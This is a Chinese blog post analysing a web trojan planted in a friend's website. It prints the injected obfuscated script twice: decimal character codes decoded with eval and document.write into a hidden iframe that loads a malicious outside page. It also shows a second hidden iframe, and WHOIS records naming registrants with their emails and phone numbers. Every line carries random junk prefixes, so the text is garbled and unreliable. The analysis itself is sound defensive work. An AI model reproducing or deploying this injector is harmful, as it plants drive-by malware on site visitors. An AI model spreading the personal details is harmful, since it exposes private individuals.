首发在我的博客里面，
cTBUj l@0${&n http://www.areway.cn/?p=175 c'INmc
I| fuU
3?SG 0| DyYu 周末上线鸭子就Q我说他的站给挂了马，当时没太注意就直接打开了连接，截下了网页源码：
.L~
NX/V -asjBSo*D <script>t=’60,105,102,114,97,109,101,
SyI\ulmL 32,115,114,99,61,104,116,116,112,58,47,47,
V-(*{/^" 102,114,101,101,46,117,45,117,117,117,46,99,
5\Rg%Ezl 110,47,101,114,114,111,114,46,104,116,109,
t$3B#= 32,119,105,100,116,104,61,49,48,48,32,104,
zZW5M^z8 101,105,103,104,116,61,48,62,60,47,105,102,
;$67GK 114,97,109,101,62′;
&
}7 +.^ t=eval(’String.fromCharCode(’+t+’)');document.write(t);</script>
?
q_% B7wzF" <script>t=’60,105,102,114,97,109,101,32,115,
?_B'#,tI 114,99,61,104,116,116,112,58,47,47,102,114,
?kK3%uJy& 101,101,46,117,45,117,117,117,46,99,110,47,
1k]L ,CX 101,114,114,111,114,46,104,116,109,32,119,
=M6{{lI / 105,100,116,104,61,49,48,48,32,104,101,105,
]K'OH& 103,104,116,61,48,62,60,47,105,102,114,97,
HB,?}S#TP 109,101,62′;t=eval(’String.fromCharCode(’+t+’)');
r>}z|I' document.write(t);</script>
D_?dy 4\ <= Saf. <html xmlns=”
#uV J http://www.w3.org/1999/xhtml h1)ny1; “>
P!SsMo6n <head>
IML.6<,(Z <!– Published By Newasp.cc 2007-12-7-18:03:23 –>
Y4+ ]5;B8 <meta http-equiv=”Content-Type” content=”text/html; charset=gb2312″ />
8>9MeDE <title>首页 - 爱生活家庭网
}mo)OyIX }KYOde@ 上面有一段 script的十进制加密字段，里面的大概内容是，把所有的字符放在函数t里面，最后用doucment.write(t)来把字符串写在网页里面。
_f~$iY 转换字符串后的大概内容是（谁点击后果自付）：
k8!:`jG <script>t=’<iframe src=http://free.u-uuu.cn/error.htm width=………
k[}WYs+r iaJLIr l 查询玉米u-uuu.cn的详细信息：
[&IcIZ Domain Name: u-uuu.cn
LLFQ5py{ ROID: 20070901s10001s64972306-cn
Z^BZH/I? Domain Status: ok
f1 S% p Registrant Organization: 王雷
}( ! rB#bf Registrant Name: 王雷
`H q*l"8 Administrative Email:
czlovexs@126.com 505ejO| Sponsoring Registrar: 北京万网志成科技有限公司
(5A8# 7a Name Server:ns.yovole.com
x:Q$1&3N Name Server:ns1.yovole.com
Ct^=j@ g Registration Date: 2007-09-01 17:54
| &@`~OBa Expiration Date: 2008-09-01 17:54
;n.h !wmJ} 最后PING了一下地址 都没有什么….
-GMaK.4 = ,xR u74 上虚拟机里面继续分析，IE里面打开上面的连接…查看源代码…..直接又有嵌套.
)G;H f?M <iframe src=http://www.foafau.info/ms15.htm width=1 height=1></iframe>
lWH#/5`h <script language=”javascript” src=”
3}8L!2_p http://count43.51yes.com/click.aspx?id=4333375720&logo=6″></script Vc6
>i|"-O >
tqCwbi 这个玉米应该有可能是木马作者的：
ll[&O4.F foafau.info的详细信息：
=.OzpV)=V Access to INFO WHOIS information is provided to assist persons in
y>:U&P^ determining the contents of a domain name registration record in the
7z$bCO L=S Afilias registry database. The data in this record is provided by
[c -|`d^ Afilias Limited for informational purposes only, and Afilias does not
H}lz _#Z guarantee its accuracy. This service is intended only for query-based
)*R';/zaI access. You agree that you will use this data only for lawful purposes
zk!7TUZ">w and that, under no circumstances will you use this data to: (a) allow,
WJ)4rQ$o enable, or otherwise support the transmission by e-mail, telephone, or
GY %$7 facsimile of mass unsolicited, commercial advertising or solicitations
k
] T to entities other than the data recipient’s own existing customers; or
R^=v&c{@ (b) enable high volume, automated, electronic processes that send
O,-NzGs queries or data to the systems of Registry Operator, a Registrar, or
{LV A _7@ Afilias except as reasonably necessary to register domain names or
FA \U4l- modify existing registrations. All rights reserved. Afilias reserves
'/9q7?[E! the right to modify these terms at any time. By submitting this query,
- E3cS you agree to abide by this policy.
G;J) [ y Domain ID:D22418703-LRMS
DF> t Q Domain Name:FOAFAU.INFO
19-V;F@; Created On:20-Nov-2007 16:05:42 UTC
@ULWVS#t2 Last Updated On:20-Nov-2007 16:05:44 UTC
*z#du*f[ Expiration Date:20-Nov-2008 16:05:42 UTC
?RIf0;G Sponsoring Registrar:GoDaddy.com Inc. (R171-LRMS)
CW/<?X<!n Status:CLIENT DELETE PROHIBITED
o2hk!#5[4 Status:CLIENT RENEW PROHIBITED
!! )W` Status:CLIENT TRANSFER PROHIBITED
#_`q bIOAj Status:CLIENT UPDATE PROHIBITED
: bi(mX7t Status:TRANSFER PROHIBITED
K3UN#G)U Registrant ID:GODA-040110615
q9PjQ% Registrant Name:liu hong
GK Ol{och Registrant Organization:
?FUK _] Registrant Street1:beijing
`S5::U6E Registrant Street2:
Qca3{| r` Registrant Street3:
}~NXiUe Registrant City:beijing
&cJ?mSI Registrant State/Province:
|W $|og'wC Registrant Postal Code:100000
|Ldvfd Registrant Country:CN
1c429 &- Registrant Phone:+86.860108888777
`@WJ_-$# Registrant Phone Ext.:
OB\ZT @l Registrant FAX:
D^V)$ME Registrant FAX Ext.:
kM1N4N7 Registrant Email:bbbshiji@163.com
zUNUH^Il Admin ID:GODA-240110615
ij~- Admin Name:liu hong
}@ ktAt Admin Organization:
F
u^j- Io Admin Street1:beijing
/#&jF:h Admin Street2:
~Hv>^u
Mh Admin Street3:
_Gaem"k| Admin City:beijing
WHOX<YJs Admin State/Province:
=$ L+J O Admin Postal Code:100000
/H q Admin Country:CN
*}';q`u } Admin Phone:+86.860108888777
D/ sYH0.V$ Admin Phone Ext.:
2/tx5Nc Admin FAX:
?*yB&(a:8 Admin FAX Ext.:
m"n" 1;o= Admin Email:bbbshiji@163.com
n f<I Billing ID:GODA-340110615
98O]tL+k/u Billing Name:liu hong
Lj#xZ!mQS Billing Organization:
zJl;| E". Billing Street1:beijing
Iz
j-,a Billing Street2:
:dRC$?f4 Billing Street3:
vu91"
4Fa Billing City:beijing
d!} oS<6 Billing State/Province:
QxxPImubB Billing Postal Code:100000
jpS$5Ct Billing Country:CN
K|$ c#X Billing Phone:+86.860108888777
JC->
eY"O2 Billing Phone Ext.:
-$:*!55:j Billing FAX:
ceD6q~) Billing FAX Ext.:
'UxI-L t Billing Email:bbbshiji@163.com
-sZ'<(3 Tech ID:GODA-140110615
w0Ex} Tech Name:liu hong
BBGub?(dR Tech Organization:
O"EL3$9V Tech Street1:beijing
@ <2y+_e Tech Street2:
U#K4)(C Tech Street3:
V_D wHq2 Tech City:beijing
] B3+& g Tech State/Province:
a#% *H
Tech Postal Code:100000
XTk
:lzFH Tech Country:CN
~<O.Gu&"R Tech Phone:+86.860108888777
pU<J?cU8N Tech Phone Ext.:
K5T1dBl,0 Tech FAX:
T+zhj++ Tech FAX Ext.:
u 0sN[< Tech Email:bbbshiji@163.com
EW vhT]<0 Name Server:NS27.DOMAINCONTROL.COM
vE 8'B^h1 Name Server:NS28.DOMAINCONTROL.COM
]v),[]Xs Name Server:
+Yq?:uBV Name Server:
l;A '^ Name Server:
b p}97ZQ Name Server:
dY0W=,X$7T Name Server:
3+d^Bpp 4 Name Server:
y= f. ; Name Server:
u9~ Ncz Name Server:
$IX(a4' Name Server:
E<u(Yw6= Name Server:
C;/ONF
Name Server:
^c(r4#}$" eN
</H.bm] 接着下载每个文件里面的代码：
~"vS$>+ 一步一步看..
}vOg9/[{ 
s5+;8u9K 
pO5j-d * 
vO~w~u5 
islHtX
VE 
_z%~ m2SP 都是十进制的代码，也懒得再分析了，有这个爱好的大家可以继续试试
